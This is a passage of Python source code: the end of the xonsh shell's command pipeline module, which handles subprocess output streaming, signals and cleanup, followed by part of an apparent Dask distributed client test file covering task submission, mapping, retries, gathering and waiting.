encoding=enc, errors=err) return buf def _wait_and_getattr(self, name): """make sure the instance has a certain attr, and return it.""" while not hasattr(self, name): time.sleep(1e-7) return getattr(self, name) @lazyobject def SIGNAL_MESSAGES(): sm = { signal.SIGABRT: "Aborted", signal.SIGFPE: "Floating point exception", signal.SIGILL: "Illegal instructions", signal.SIGTERM: "Terminated", signal.SIGSEGV: "Segmentation fault", } if ON_POSIX: sm.update( {signal.SIGQUIT: "Quit", signal.SIGHUP: "Hangup", signal.SIGKILL: "Killed"} ) return sm def safe_readlines(handle, hint=-1): """Attempts to read lines without throwing an error.""" try: lines = handle.readlines(hint) except OSError: lines = [] return lines def safe_readable(handle): """Attempts to find if the handle is readable without throwing an error.""" try: status = handle.readable() except (OSError, ValueError): status = False return status def update_fg_process_group(pipeline_group, background): if background: return False if not ON_POSIX: return False env = builtins.__xonsh__.env if not env.get("XONSH_INTERACTIVE"): return False return give_terminal_to(pipeline_group) class CommandPipeline: """Represents a subprocess-mode command pipeline.""" attrnames = ( "stdin", "stdout", "stderr", "pid", "returncode", "args", "alias", "stdin_redirect", "stdout_redirect", "stderr_redirect", "timestamps", "executed_cmd", "input", "output", "errors", ) nonblocking = (io.BytesIO, NonBlockingFDReader, ConsoleParallelReader) def __init__(self, specs): """ Parameters ---------- specs : list of SubprocSpec Process specifications Attributes ---------- spec : SubprocSpec The last specification in specs proc : Popen-like The process in procs ended : bool Boolean for if the command has stopped executing. input : str A string of the standard input. output : str A string of the standard output. errors : str A string of the standard error. lines : list of str The output lines starttime : floats or None Pipeline start timestamp. """ self.starttime = None self.ended = False self.procs = [] self.specs = specs self.spec = specs[-1] self.captured = specs[-1].captured self.input = self._output = self.errors = self.endtime = None self._closed_handle_cache = {} self.lines = [] self._stderr_prefix = self._stderr_postfix = None self.term_pgid = None background = self.spec.background pipeline_group = None for spec in specs: if self.starttime is None: self.starttime = time.time() try: proc = spec.run(pipeline_group=pipeline_group) except Exception: print_exception() self._return_terminal() self.proc = None return if ( proc.pid and pipeline_group is None and not spec.is_proxy and self.captured != "object" ): pipeline_group = proc.pid if update_fg_process_group(pipeline_group, background): self.term_pgid = pipeline_group self.procs.append(proc) self.proc = self.procs[-1] def __repr__(self): s = self.__class__.__name__ + "(" s += ", ".join(a + "=" + str(getattr(self, a)) for a in self.attrnames) s += ")" return s def __bool__(self): return self.returncode == 0 def __len__(self): return len(self.procs) def __iter__(self): """Iterates through stdout and returns the lines, converting to strings and universal newlines if needed. """ if self.ended: yield from iter(self.lines) else: yield from self.tee_stdout() def iterraw(self): """Iterates through the last stdout, and returns the lines exactly as found. """ # get appropriate handles spec = self.spec proc = self.proc if proc is None: return timeout = builtins.__xonsh__.env.get("XONSH_PROC_FREQUENCY") # get the correct stdout stdout = proc.stdout if ( stdout is None or spec.stdout is None or not safe_readable(stdout) ) and spec.captured_stdout is not None: stdout = spec.captured_stdout if hasattr(stdout, "buffer"): stdout = stdout.buffer if stdout is not None and not isinstance(stdout, self.nonblocking): stdout = NonBlockingFDReader(stdout.fileno(), timeout=timeout) if ( not stdout or self.captured == "stdout" or not safe_readable(stdout) or not spec.threadable ): # we get here if the process is not threadable or the # class is the real Popen PrevProcCloser(pipeline=self) task = wait_for_active_job() if task is None or task["status"] != "stopped": proc.wait() self._endtime() if self.captured == "object": self.end(tee_output=False) elif self.captured == "hiddenobject" and stdout: b = stdout.read() lines = b.splitlines(keepends=True) yield from lines self.end(tee_output=False) elif self.captured == "stdout": b = stdout.read() s = self._decode_uninew(b, universal_newlines=True) self.lines = s.splitlines(keepends=True) return # get the correct stderr stderr = proc.stderr if ( stderr is None or spec.stderr is None or not safe_readable(stderr) ) and spec.captured_stderr is not None: stderr = spec.captured_stderr if hasattr(stderr, "buffer"): stderr = stderr.buffer if stderr is not None and not isinstance(stderr, self.nonblocking): stderr = NonBlockingFDReader(stderr.fileno(), timeout=timeout) # read from process while it is running check_prev_done = len(self.procs) == 1 prev_end_time = None i = j = cnt = 1 while proc.poll() is None: if getattr(proc, "suspended", False): return elif getattr(proc, "in_alt_mode", False): time.sleep(0.1) # probably not leaving any time soon continue elif not check_prev_done: # In the case of pipelines with more than one command # we should give the commands a little time # to start up fully. This is particularly true for # GNU Parallel, which has a long startup time. pass elif self._prev_procs_done(): self._close_prev_procs() proc.prevs_are_closed = True break stdout_lines = safe_readlines(stdout, 1024) i = len(stdout_lines) if i != 0: yield from stdout_lines stderr_lines = safe_readlines(stderr, 1024) j = len(stderr_lines) if j != 0: self.stream_stderr(stderr_lines) if not check_prev_done: # if we are piping... if stdout_lines or stderr_lines: # see if we have some output. check_prev_done = True elif prev_end_time is None: # or see if we already know that the next-to-last # proc in the pipeline has ended. if self._prev_procs_done(): # if it has, record the time prev_end_time = time.time() elif time.time() - prev_end_time >= 0.1: # if we still don't have any output, even though the # next-to-last proc has finished, wait a bit to make # sure we have fully started up, etc. check_prev_done = True # this is for CPU usage if i + j == 0: cnt = min(cnt + 1, 1000) else: cnt = 1 time.sleep(timeout * cnt) # read from process now that it is over yield from safe_readlines(stdout) self.stream_stderr(safe_readlines(stderr)) proc.wait() self._endtime() yield from safe_readlines(stdout) self.stream_stderr(safe_readlines(stderr)) if self.captured == "object": self.end(tee_output=False) def itercheck(self): """Iterates through the command lines and throws an error if the returncode is non-zero. """ yield from self if self.returncode: # I included self, as providing access to stderr and other details # useful when instance isn't assigned to a variable in the shell. raise XonshCalledProcessError( self.returncode, self.executed_cmd, self.stdout, self.stderr, self ) def tee_stdout(self): """Writes the process stdout to the output variable, line-by-line, and yields each line. This may optionally accept lines (in bytes) to iterate over, in which case it does not call iterraw(). """ env = builtins.__xonsh__.env enc = env.get("XONSH_ENCODING") err = env.get("XONSH_ENCODING_ERRORS") lines = self.lines stream = self.captured not in STDOUT_CAPTURE_KINDS if stream and not self.spec.stdout: stream = False stdout_has_buffer = hasattr(sys.stdout, "buffer") nl = b"\n" cr = b"\r" crnl = b"\r\n" for line in self.iterraw(): # write to stdout line ASAP, if needed if stream: if stdout_has_buffer: sys.stdout.buffer.write(line) else: sys.stdout.write(line.decode(encoding=enc, errors=err)) sys.stdout.flush() # do some munging of the line before we return it if line.endswith(crnl): line = line[:-2] + nl elif line.endswith(cr): line = line[:-1] + nl line = RE_HIDE_ESCAPE.sub(b"", line) line = line.decode(encoding=enc, errors=err) # tee it up! lines.append(line) yield line def stream_stderr(self, lines): """Streams lines to sys.stderr and the errors attribute.""" if not lines: return env = builtins.__xonsh__.env enc = env.get("XONSH_ENCODING") err = env.get("XONSH_ENCODING_ERRORS") b = b"".join(lines) if self.stderr_prefix: b = self.stderr_prefix + b if self.stderr_postfix: b += self.stderr_postfix stderr_has_buffer = hasattr(sys.stderr, "buffer") # write bytes to std stream if stderr_has_buffer: sys.stderr.buffer.write(b) else: sys.stderr.write(b.decode(encoding=enc, errors=err)) sys.stderr.flush() # do some munging of the line before we save it to the attr b = b.replace(b"\r\n", b"\n").replace(b"\r", b"\n") b = RE_HIDE_ESCAPE.sub(b"", b) env = builtins.__xonsh__.env s = b.decode( encoding=env.get("XONSH_ENCODING"), errors=env.get("XONSH_ENCODING_ERRORS") ) # set the errors if self.errors is None: self.errors = s else: self.errors += s def _decode_uninew(self, b, universal_newlines=None): """Decode bytes into a str and apply universal newlines as needed.""" if not b: return "" if isinstance(b, bytes): env = builtins.__xonsh__.env s = b.decode( encoding=env.get("XONSH_ENCODING"), errors=env.get("XONSH_ENCODING_ERRORS"), ) else: s = b if universal_newlines or self.spec.universal_newlines: s = s.replace("\r\n", "\n").replace("\r", "\n") return s # # Ending methods # def end(self, tee_output=True): """ End the pipeline, return the controlling terminal if needed. Main things done in self._end(). """ if self.ended: return self._end(tee_output=tee_output) self._return_terminal() def _end(self, tee_output): """Waits for the command to complete and then runs any closing and cleanup procedures that need to be run. """ if tee_output: for _ in self.tee_stdout(): pass self._endtime() # since we are driven by getting output, input may not be available # until the command has completed. self._set_input() self._close_prev_procs() self._close_proc() self._check_signal() self._apply_to_history() self.ended = True self._raise_subproc_error() def _return_terminal(self): if ON_WINDOWS or not ON_POSIX: return pgid = os.getpgid(0) if self.term_pgid is None or pgid == self.term_pgid: return if give_terminal_to(pgid): # if gave term succeed self.term_pgid = pgid if hasattr(builtins.__xonsh__, "shell"): # restoring sanity could probably be called whenever we return # control to the shell. But it only seems to matter after a # ^Z event. This *has* to be called after we give the terminal # back to the shell. builtins.__xonsh__.shell.shell.restore_tty_sanity() def resume(self, job, tee_output=True): self.ended = False if give_terminal_to(job["pgrp"]): self.term_pgid = job["pgrp"] _continue(job) self.end(tee_output=tee_output) def _endtime(self): """Sets the closing timestamp if it hasn't been already.""" if self.endtime is None: self.endtime = time.time() def _safe_close(self, handle): safe_fdclose(handle, cache=self._closed_handle_cache) def _prev_procs_done(self): """Boolean for if all previous processes have completed. If there is only a single process in the pipeline, this returns False. """ any_running = False for s, p in zip(self.specs[:-1], self.procs[:-1]): if p.poll() is None: any_running = True continue self._safe_close(s.stdin) self._safe_close(s.stdout) self._safe_close(s.stderr) if p is None: continue self._safe_close(p.stdin) self._safe_close(p.stdout) self._safe_close(p.stderr) return False if any_running else (len(self) > 1) def _close_prev_procs(self): """Closes all but the last proc's stdout.""" for s, p in zip(self.specs[:-1], self.procs[:-1]): self._safe_close(s.stdin) self._safe_close(s.stdout) self._safe_close(s.stderr) if p is None: continue self._safe_close(p.stdin) self._safe_close(p.stdout) self._safe_close(p.stderr) def _close_proc(self): """Closes last proc's stdout.""" s = self.spec p = self.proc self._safe_close(s.stdin) self._safe_close(s.stdout) self._safe_close(s.stderr) self._safe_close(s.captured_stdout) self._safe_close(s.captured_stderr) if p is None: return self._safe_close(p.stdin) self._safe_close(p.stdout) self._safe_close(p.stderr) def _set_input(self): """Sets the input variable.""" if self.proc is None: return stdin = self.proc.stdin if ( stdin is None or isinstance(stdin, int) or stdin.closed or not stdin.seekable() or not safe_readable(stdin) ): input = b"" else: stdin.seek(0) input = stdin.read() self.input = self._decode_uninew(input) def _check_signal(self): """Checks if a signal was received and issues a message.""" proc_signal = getattr(self.proc, "signal", None) if proc_signal is None: return sig, core = proc_signal sig_str = SIGNAL_MESSAGES.get(sig) if sig_str: if core: sig_str += " (core dumped)" print(sig_str, file=sys.stderr) if self.errors is not None: self.errors += sig_str + "\n" def _apply_to_history(self): """Applies the results to the current history object.""" hist = builtins.__xonsh__.history if hist is not None: hist.last_cmd_rtn = 1 if self.proc is None else self.proc.returncode def _raise_subproc_error(self): """Raises a subprocess error, if we are supposed to.""" spec = self.spec rtn = self.returncode if ( not spec.is_proxy and rtn is not None and rtn > 0 and builtins.__xonsh__.env.get("RAISE_SUBPROC_ERROR") ): try: raise subprocess.CalledProcessError(rtn, spec.cmd, output=self.output) finally: # this is need to get a working terminal in interactive mode self._return_terminal() # # Properties # @property def stdin(self): """Process stdin.""" return self.proc.stdin @property def stdout(self): """Process stdout.""" return self.proc.stdout @property def stderr(self): """Process stderr.""" return self.proc.stderr @property def inp(self): """Creates normalized input string from args.""" return " ".join(self.args) @property def output(self): """Non-blocking, lazy access to output""" if self.ended: if self._output is None: self._output = "".join(self.lines) return self._output else: return "".join(self.lines) @property def out(self): """Output value as a str.""" self.end() return self.output @property def err(self): """Error messages as a string.""" self.end() return self.errors @property def pid(self): """Process identifier.""" return self.proc.pid @property def returncode(self): """Process return code, waits until command is completed.""" self.end() if self.proc is None: return 1 return self.proc.returncode rtn = returncode @property def args(self): """Arguments to the process.""" return self.spec.args @property def rtn(self): """Alias to return code.""" return self.returncode @property def alias(self): """Alias the process used.""" return self.spec.alias @property def stdin_redirect(self): """Redirection used for stdin.""" stdin = self.spec.stdin name = getattr(stdin, "name", "<stdin>") mode = getattr(stdin, "mode", "r") return [name, mode] @property def stdout_redirect(self): """Redirection used for stdout.""" stdout = self.spec.stdout name = getattr(stdout, "name", "<stdout>") mode = getattr(stdout, "mode", "a") return [name, mode] @property def stderr_redirect(self): """Redirection used for stderr.""" stderr = self.spec.stderr name = getattr(stderr, "name", "<stderr>") mode = getattr(stderr, "mode", "r") return [name, mode] @property def timestamps(self): """The start and end time stamps.""" return [self.starttime, self.endtime] @property def executed_cmd(self): """The resolve and executed command.""" return self.spec.cmd @property def stderr_prefix(self): """Prefix to print in front of stderr, as bytes.""" p = self._stderr_prefix if p is None: env = builtins.__xonsh__.env t = env.get("XONSH_STDERR_PREFIX") s = format_std_prepost(t, env=env) p = s.encode( encoding=env.get("XONSH_ENCODING"), errors=env.get("XONSH_ENCODING_ERRORS"), ) self._stderr_prefix = p return p @property def stderr_postfix(self): """Postfix to print after stderr, as bytes.""" p = self._stderr_postfix if p is None: env = builtins.__xonsh__.env t = env.get("XONSH_STDERR_POSTFIX") s = format_std_prepost(t, env=env) p = s.encode( encoding=env.get("XONSH_ENCODING"), errors=env.get("XONSH_ENCODING_ERRORS"), ) self._stderr_postfix = p return p class HiddenCommandPipeline(CommandPipeline): def __repr__(self): return "" def pause_call_resume(p, f, *args, **kwargs): """For a process p, this will call a function f with the remaining args and and kwargs. If the process cannot accept signals, the function will be called. Parameters ---------- p : Popen object or similar f : callable args : remaining arguments kwargs : keyword arguments """ can_send_signal = ( hasattr(p, "send_signal") and ON_POSIX and not ON_MSYS and not ON_CYGWIN ) if can_send_signal: p.send_signal(signal.SIGSTOP) try: f(*args, **kwargs) except Exception: pass if can_send_signal: p.send_signal(signal.SIGCONT) class PrevProcCloser(threading.Thread): """Previous process closer thread for pipelines whose last command is itself unthreadable. This makes sure that the pipeline is driven forward and does not deadlock. """ def __init__(self, pipeline): """ Parameters ---------- pipeline : CommandPipeline The pipeline whose prev procs we should close. """ self.pipeline = pipeline super().__init__() self.daemon = True self.start() def run(self): """Runs the closing algorithm.""" pipeline = self.pipeline check_prev_done = len(pipeline.procs) == 1 if check_prev_done: return proc = pipeline.proc prev_end_time = None timeout = builtins.__xonsh__.env.get("XONSH_PROC_FREQUENCY") sleeptime = min(timeout * 1000, 0.1) while proc.poll() is None: if not check_prev_done: # In the case of pipelines with more than one command # we should give the commands a little time # to start up fully. This is particularly true for # GNU Parallel, which has a long startup time. pass elif pipeline._prev_procs_done(): pipeline._close_prev_procs() proc.prevs_are_closed = True break if not check_prev_done: # if we are piping... if prev_end_time is None: # or see if we already know that the next-to-last # proc in the pipeline has ended. if pipeline._prev_procs_done(): # if it has, record the time prev_end_time = time.time() elif time.time() - prev_end_time >= 0.1: # if we still don't have any output, even though the # next-to-last proc has finished, wait a bit to make # sure we have fully started up, etc. check_prev_done = True # this is for CPU usage time.sleep(sleeptime)
test_client.py
import asyncio from collections import deque from contextlib import suppress from functools import partial import gc import logging from operator import add import os import pickle import psutil import random import subprocess import sys import threading from threading import Semaphore from time import sleep import traceback import warnings import weakref import zipfile import pytest from tlz import identity, isdistinct, concat, pluck, valmap, first, merge import dask from dask import delayed from dask.optimization import SubgraphCallable from dask.utils import stringify import dask.bag as db from distributed import ( Worker, Nanny, fire_and_forget, LocalCluster, get_client, secede, get_worker, Executor, profile, performance_report, TimeoutError, CancelledError, ) from distributed.core import Status from distributed.comm import CommClosedError from distributed.client import ( Client, Future, wait, as_completed, tokenize, _get_global_client, default_client, futures_of, temp_default_client, get_task_metadata, ) from distributed.compatibility import WINDOWS from distributed.metrics import time from distributed.scheduler import Scheduler, KilledWorker, CollectTaskMetaDataPlugin from distributed.sizeof import sizeof from distributed.utils import mp_context, sync, tmp_text, tmpfile, is_valid_xml from distributed.utils_test import ( cluster, slowinc, slowadd, slowdec, randominc, inc, dec, div, throws, geninc, asyncinc, gen_cluster, gen_test, double, popen, captured_logger, varying, map_varying, wait_for, async_wait_for, pristine_loop, save_sys_modules, TaskStateMetadataPlugin, ) from distributed.utils_test import ( # noqa: F401 client as c, client_secondary as c2, cleanup, cluster_fixture, loop, loop_in_thread, nodebug, s, a, b, ) @gen_cluster(client=True, timeout=None) async def test_submit(c, s, a, b): x = c.submit(inc, 10) assert not x.done() assert isinstance(x, Future) assert x.client is c result = await x assert result == 11 assert x.done() y = c.submit(inc, 20) z = c.submit(add, x, y) result = await z assert result == 11 + 21 s.validate_state() @gen_cluster(client=True) async def test_map(c, s, a, b): L1 = c.map(inc, range(5)) assert len(L1) == 5 assert isdistinct(x.key for x in L1) assert all(isinstance(x, Future) for x in L1) result = await L1[0] assert result == inc(0) assert len(s.tasks) == 5 L2 = c.map(inc, L1) result = await L2[1] assert result == inc(inc(1)) assert len(s.tasks) == 10 # assert L1[0].key in s.tasks[L2[0].key] total = c.submit(sum, L2) result = await total assert result == sum(map(inc, map(inc, range(5)))) L3 = c.map(add, L1, L2) result = await L3[1] assert result == inc(1) + inc(inc(1)) L4 = c.map(add, range(3), range(4)) results = await c.gather(L4) assert results == list(map(add, range(3), range(4))) def f(x, y=10): return x + y L5 = c.map(f, range(5), y=5) results = await c.gather(L5) assert results == list(range(5, 10)) y = c.submit(f, 10) L6 = c.map(f, range(5), y=y) results = await c.gather(L6) assert results == list(range(20, 25)) s.validate_state() @gen_cluster(client=True) async def test_map_empty(c, s, a, b): L1 = c.map(inc, [], pure=False) assert len(L1) == 0 results = await c.gather(L1) assert results == [] @gen_cluster(client=True) async def test_map_keynames(c, s, a, b): futures = c.map(inc, range(4), key="INC") assert all(f.key.startswith("INC") for f in futures) assert isdistinct(f.key for f in futures) futures2 = c.map(inc, [5, 6, 7, 8], key="INC") assert [f.key for f in futures] != [f.key for f in futures2] keys = ["inc-1", "inc-2", "inc-3", "inc-4"] futures = c.map(inc, range(4), key=keys) assert [f.key for f in futures] == keys @gen_cluster(client=True) async def test_map_retries(c, s, a, b): args = [ [ZeroDivisionError("one"), 2, 3], [4, 5, 6], [ZeroDivisionError("seven"), ZeroDivisionError("eight"), 9], ] x, y, z = c.map(*map_varying(args), retries=2) assert await x == 2 assert await y == 4 assert await z == 9 x, y, z = c.map(*map_varying(args), retries=1, pure=False) assert await x == 2 assert await y == 4 with pytest.raises(ZeroDivisionError, match="eight"): await z x, y, z = c.map(*map_varying(args), retries=0, pure=False) with pytest.raises(ZeroDivisionError, match="one"): await x assert await y == 4 with pytest.raises(ZeroDivisionError, match="seven"): await z @gen_cluster(client=True) async def test_map_batch_size(c, s, a, b): result = c.map(inc, range(100), batch_size=10) result = await c.gather(result) assert result == list(range(1, 101)) result = c.map(add, range(100), range(100), batch_size=10) result = await c.gather(result) assert result == list(range(0, 200, 2)) # mismatch shape result = c.map(add, range(100, 200), range(10), batch_size=2) result = await c.gather(result) assert result == list(range(100, 120, 2)) @gen_cluster(client=True) async def test_compute_retries(c, s, a, b): args = [ZeroDivisionError("one"), ZeroDivisionError("two"), 3] # Sanity check for varying() use x = c.compute(delayed(varying(args))()) with pytest.raises(ZeroDivisionError, match="one"): await x # Same retries for all x = c.compute(delayed(varying(args))(), retries=1) with pytest.raises(ZeroDivisionError, match="two"): await x x = c.compute(delayed(varying(args))(), retries=2) assert await x == 3 args.append(4) x = c.compute(delayed(varying(args))(), retries=2) assert await x == 3 # Per-future retries xargs = [ZeroDivisionError("one"), ZeroDivisionError("two"), 30, 40] yargs = [ZeroDivisionError("five"), ZeroDivisionError("six"), 70] zargs = [80, 90, 100] x, y = [delayed(varying(args))() for args in (xargs, yargs)] x, y = c.compute([x, y], retries={x: 2}) gc.collect() assert await x == 30 with pytest.raises(ZeroDivisionError, match="five"): await y x, y, z = [delayed(varying(args))() for args in (xargs, yargs, zargs)] x, y, z = c.compute([x, y, z], retries={(y, z): 2}) with pytest.raises(ZeroDivisionError, match="one"): await x assert await y == 70 assert await z == 80 def test_retries_get(c): args = [ZeroDivisionError("one"), ZeroDivisionError("two"), 3] x = delayed(varying(args))() assert x.compute(retries=5) == 3 args = [ZeroDivisionError("one"), ZeroDivisionError("two"), 3] x = delayed(varying(args))() with pytest.raises(ZeroDivisionError): x.compute() @gen_cluster(client=True) async def test_compute_persisted_retries(c, s, a, b): args = [ZeroDivisionError("one"), ZeroDivisionError("two"), 3] # Sanity check x = c.persist(delayed(varying(args))()) fut = c.compute(x) with pytest.raises(ZeroDivisionError, match="one"): await fut x = c.persist(delayed(varying(args))()) fut = c.compute(x, retries=1) with pytest.raises(ZeroDivisionError, match="two"): await fut x = c.persist(delayed(varying(args))()) fut = c.compute(x, retries=2) assert await fut == 3 args.append(4) x = c.persist(delayed(varying(args))()) fut = c.compute(x, retries=3) assert await fut == 3 @gen_cluster(client=True) async def test_persist_retries(c, s, a, b): # Same retries for all args = [ZeroDivisionError("one"), ZeroDivisionError("two"), 3] x = c.persist(delayed(varying(args))(), retries=1) x = c.compute(x) with pytest.raises(ZeroDivisionError, match="two"): await x x = c.persist(delayed(varying(args))(), retries=2) x = c.compute(x) assert await x == 3 # Per-key retries xargs = [ZeroDivisionError("one"), ZeroDivisionError("two"), 30, 40] yargs = [ZeroDivisionError("five"), ZeroDivisionError("six"), 70] zargs = [80, 90, 100] x, y, z = [delayed(varying(args))() for args in (xargs, yargs, zargs)] x, y, z = c.persist([x, y, z], retries={(y, z): 2}) x, y, z = c.compute([x, y, z]) with pytest.raises(ZeroDivisionError, match="one"): await x assert await y == 70 assert await z == 80 @gen_cluster(client=True) async def test_retries_dask_array(c, s, a, b): da = pytest.importorskip("dask.array") x = da.ones((10, 10), chunks=(3, 3)) future = c.compute(x.sum(), retries=2) y = await future assert y == 100 @gen_cluster(client=True) async def test_future_repr(c, s, a, b): pd = pytest.importorskip("pandas") x = c.submit(inc, 10) y = c.submit(pd.DataFrame, {"x": [1, 2, 3]}) await x await y for func in [repr, lambda x: x._repr_html_()]: assert str(x.key) in func(x) assert str(x.status) in func(x) assert str(x.status) in repr(c.futures[x.key]) assert "int" in func(x) assert "pandas" in func(y) assert "DataFrame" in func(y) @gen_cluster(client=True) async def test_future_tuple_repr(c, s, a, b): da = pytest.importorskip("dask.array") y = da.arange(10, chunks=(5,)).persist() f = futures_of(y)[0] for func in [repr, lambda x: x._repr_html_()]: for k in f.key: assert str(k) in func(f) @gen_cluster(client=True) async def test_Future_exception(c, s, a, b): x = c.submit(div, 1, 0) result = await x.exception() assert isinstance(result, ZeroDivisionError) x = c.submit(div, 1, 1) result = await x.exception() assert result is None def test_Future_exception_sync(c): x = c.submit(div, 1, 0) assert isinstance(x.exception(), ZeroDivisionError) x = c.submit(div, 1, 1) assert x.exception() is None @gen_cluster(client=True) async def test_Future_release(c, s, a, b): # Released Futures should be removed timely from the Client x = c.submit(div, 1, 1) await x x.release() await asyncio.sleep(0) assert not c.futures x = c.submit(slowinc, 1, delay=0.5) x.release() await asyncio.sleep(0) assert not c.futures x = c.submit(div, 1, 0) await x.exception() x.release() await asyncio.sleep(0) assert not c.futures def test_Future_release_sync(c): # Released Futures should be removed timely from the Client x = c.submit(div, 1, 1) x.result() x.release() wait_for(lambda: not c.futures, timeout=0.3) x = c.submit(slowinc, 1, delay=0.8) x.release() wait_for(lambda: not c.futures, timeout=0.3) x = c.submit(div, 1, 0) x.exception() x.release() wait_for(lambda: not c.futures, timeout=0.3) def test_short_tracebacks(loop, c): tblib = pytest.importorskip("tblib") future = c.submit(div, 1, 0) try: future.result() except Exception: _, _, tb = sys.exc_info() tb = tblib.Traceback(tb).to_dict() n = 0 while tb is not None: n += 1 tb = tb["tb_next"] assert n < 5 @gen_cluster(client=True) async def test_map_naming(c, s, a, b): L1 = c.map(inc, range(5)) L2 = c.map(inc, range(5)) assert [x.key for x in L1] == [x.key for x in L2] L3 = c.map(inc, [1, 1, 1, 1]) assert len({x._state for x in L3}) == 1 L4 = c.map(inc, [1, 1, 1, 1], pure=False) assert len({x._state for x in L4}) == 4 @gen_cluster(client=True) async def test_submit_naming(c, s, a, b): a = c.submit(inc, 1) b = c.submit(inc, 1) assert a._state is b._state c = c.submit(inc, 1, pure=False) assert c.key != a.key @gen_cluster(client=True) async def test_exceptions(c, s, a, b): x = c.submit(div, 1, 2) result = await x assert result == 1 / 2 x = c.submit(div, 1, 0) with pytest.raises(ZeroDivisionError): await x x = c.submit(div, 10, 2) # continues to operate result = await x assert result == 10 / 2 @gen_cluster() async def test_gc(s, a, b): c = await Client(s.address, asynchronous=True) x = c.submit(inc, 10) await x assert s.tasks[x.key].who_has x.__del__() await async_wait_for( lambda: x.key not in s.tasks or not s.tasks[x.key].who_has, timeout=0.3 ) await c.close() def test_thread(c): x = c.submit(inc, 1) assert x.result() == 2 x = c.submit(slowinc, 1, delay=0.3) with pytest.raises(TimeoutError): x.result(timeout="10 ms") assert x.result() == 2 def test_sync_exceptions(c): x = c.submit(div, 10, 2) assert x.result() == 5 y = c.submit(div, 10, 0) try: y.result() assert False except ZeroDivisionError: pass z = c.submit(div, 10, 5) assert z.result() == 2 @gen_cluster(client=True) async def test_gather(c, s, a, b): x = c.submit(inc, 10) y = c.submit(inc, x) result = await c.gather(x) assert result == 11 result = await c.gather([x]) assert result == [11] result = await c.gather({"x": x, "y": [y]}) assert result == {"x": 11, "y": [12]} @gen_cluster(client=True) async def test_gather_lost(c, s, a, b): [x] = await c.scatter([1], workers=a.address) y = c.submit(inc, 1, workers=b.address) await a.close() with pytest.raises(Exception): await c.gather([x, y]) def test_gather_sync(c): x = c.submit(inc, 1) assert c.gather(x) == 2 y = c.submit(div, 1, 0) with pytest.raises(ZeroDivisionError): c.gather([x, y]) [xx] = c.gather([x, y], errors="skip") assert xx == 2 @gen_cluster(client=True) async def test_gather_strict(c, s, a, b): x = c.submit(div, 2, 1) y = c.submit(div, 1, 0) with pytest.raises(ZeroDivisionError): await c.gather([x, y]) [xx] = await c.gather([x, y], errors="skip") assert xx == 2 @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)]) async def test_gather_skip(c, s, a): x = c.submit(div, 1, 0, priority=10) y = c.submit(slowinc, 1, delay=0.5) with captured_logger(logging.getLogger("distributed.scheduler")) as sched: with captured_logger(logging.getLogger("distributed.client")) as client: L = await c.gather([x, y], errors="skip") assert L == [2] assert not client.getvalue() assert not sched.getvalue() @gen_cluster(client=True) async def test_limit_concurrent_gathering(c, s, a, b): futures = c.map(inc, range(100)) await c.gather(futures) assert len(a.outgoing_transfer_log) + len(b.outgoing_transfer_log) < 100 @gen_cluster(client=True, timeout=None) async def test_get(c, s, a, b): future = c.get({"x": (inc, 1)}, "x", sync=False) assert isinstance(future, Future) result = await future assert result == 2 futures = c.get({"x": (inc, 1)}, ["x"], sync=False) assert isinstance(futures[0], Future) result = await c.gather(futures) assert result == [2] futures = c.get({}, [], sync=False) result = await c.gather(futures) assert result == [] result = await c.get( {("x", 1): (inc, 1), ("x", 2): (inc, ("x", 1))}, ("x", 2), sync=False ) assert result == 3 def test_get_sync(c): assert c.get({"x": (inc, 1)}, "x") == 2 def test_no_future_references(c): from weakref import WeakSet ws = WeakSet() futures = c.map(inc, range(10)) ws.update(futures) del futures import gc gc.collect() start = time() while list(ws): sleep(0.01) assert time() < start + 2 def test_get_sync_optimize_graph_passes_through(c): bag = db.range(10, npartitions=3).map(inc) dask.compute(bag.sum(), optimize_graph=False) @gen_cluster(client=True) async def test_gather_errors(c, s, a, b): def f(a, b): raise TypeError def g(a, b): raise AttributeError future_f = c.submit(f, 1, 2) future_g = c.submit(g, 1, 2) with pytest.raises(TypeError): await c.gather(future_f) with pytest.raises(AttributeError): await c.gather(future_g) await a.close() @gen_cluster(client=True) async def test_wait(c, s, a, b): x = c.submit(inc, 1) y = c.submit(inc, 1) z = c.submit(inc, 2) done, not_done = await wait([x, y, z]) assert done == {x, y, z} assert not_done == set() assert x.status == y.status == "finished" @gen_cluster(client=True) async def test_wait_first_completed(c, s, a, b): x = c.submit(slowinc, 1) y = c.submit(slowinc, 1) z = c.submit(inc, 2) done, not_done = await wait([x, y, z], return_when="FIRST_COMPLETED") assert done == {z} assert not_done == {x, y} assert z.status == "finished" assert x.status == "pending" assert y.status == "pending" @gen_cluster(client=True, timeout=2) async def test_wait_timeout(c, s, a, b): future = c.submit(sleep, 0.3) with pytest.raises(TimeoutError): await wait(future, timeout=0.01) def test_wait_sync(c): x = c.submit(inc, 1) y = c.submit(inc, 2) done, not_done = wait([x, y]) assert done == {x, y} assert not_done == set() assert x.status == y.status == "finished" future = c.submit(sleep, 0.3) with pytest.raises(TimeoutError): wait(future, timeout=0.01) def test_wait_informative_error_for_timeouts(c): x = c.submit(inc, 1) y = c.submit(inc, 2) try: wait(x, y) except Exception as e: assert "timeout" in str(e) assert "list" in str(e) @gen_cluster(client=True) async def test_garbage_collection(c, s, a, b): x = c.submit(inc, 1) y = c.submit(inc, 1) assert c.refcount[x.key] == 2 x.__del__() await asyncio.sleep(0) assert c.refcount[x.key] == 1 z = c.submit(inc, y) y.__del__() await asyncio.sleep(0) result = await z assert result == 3 ykey = y.key y.__del__() await asyncio.sleep(0) assert ykey not in c.futures @gen_cluster(client=True) async def test_garbage_collection_with_scatter(c, s, a, b): [future] = await c.scatter([1]) assert future.key in c.futures assert future.status == "finished" assert s.who_wants[future.key] == {c.id} key = future.key assert c.refcount[key] == 1 future.__del__() await asyncio.sleep(0) assert c.refcount[key] == 0 start = time() while True: if key not in s.tasks or not s.tasks[key].who_has: break else: assert time() < start + 3 await asyncio.sleep(0.1) @gen_cluster(timeout=1000, client=True) async def test_recompute_released_key(c, s, a, b): x = c.submit(inc, 100) result1 = await x xkey = x.key del x import gc gc.collect() await asyncio.sleep(0) assert c.refcount[xkey] == 0 # 1 second batching needs a second action to trigger while xkey in s.tasks and s.tasks[xkey].who_has or xkey in a.data or xkey in b.data: await asyncio.sleep(0.1) x = c.submit(inc, 100) assert x.key in c.futures result2 = await x assert result1 == result2 @pytest.mark.slow @gen_cluster(client=True) async def test_long_tasks_dont_trigger_timeout(c, s, a, b): from time import sleep x = c.submit(sleep, 3) await x @pytest.mark.skip @gen_cluster(client=True) async def 